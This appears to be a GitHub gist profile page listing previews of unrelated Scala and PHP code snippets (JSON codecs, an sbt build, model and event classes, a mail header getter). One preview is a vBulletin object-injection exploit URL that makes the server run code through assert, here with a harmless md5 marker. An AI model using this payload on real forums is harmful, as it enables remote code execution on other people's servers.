Skip to content

Instantly share code, notes, and snippets.

View Akii's full-sized avatar
🚀
To the Moon

Akii

🚀
To the Moon
View GitHub Profile
val account = AccountAdded("asdf", Account("blah"))
println(account.asJson) // {"identifier":"asdf","account":{"password":"blah","active":false}}
val map = Map("package.User$AccountAdded" -> AccountAddedCodec)
val encoder = map.get("package.User$AccountAdded").get
println("""{"identifier":"asdf","account":{"password":"blah","active":false}}""".decodeOption(encoder))
{
"messageType": "SomeCommand",
"payload": {
"do": "things!"
}
}
case class SomeCommand(do: String)
name := """ua-http"""
version := "1.0-SNAPSHOT"
lazy val root = (project in file(".")).enablePlugins(PlayScala)
scalaVersion := "2.11.6"
libraryDependencies ++= Seq(
jdbc,
@Akii
Akii / YourModel.php
Last active September 24, 2015 12:51
<?php
namespace Some\Model;
class YourModel {
/**
* @var Collection<Asdf>
*/
protected $asdfs;
@Akii
Akii / wat.php
Created October 14, 2015 12:44
$entity = new Entity();
$e = $this->entityRepo->findByIdentifier($entity->getIdentifier());
if ($e !== NULL) {
echo "#WAT";
}
class Event {
public $things;
public function __construct($things) { $this->things = $things; }
}
class Event_v2 {
public $things;
public $anotherThing;
http://[REMOVED]/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:20:"print_r(md5(233333))";}
/**
* Get the model data (usually an array or a string) for $field.
*/
protected function _getHeaderFieldModel($field)
{
if ($this->_headers->has($field)) {
return $this->_headers->get($field)->getFieldBodyModel();
}
}
/**
* Get the from address of this message.
*
* @return string
*/
public function getFrom()
{
return $this->_getHeaderFieldModel('From');
}
sealed trait MenuItem {
def idx: Int
def label: String
}
sealed trait SubMenuItem extends MenuItem
sealed trait SubMenu {
def children: Seq[SubMenuItem]
}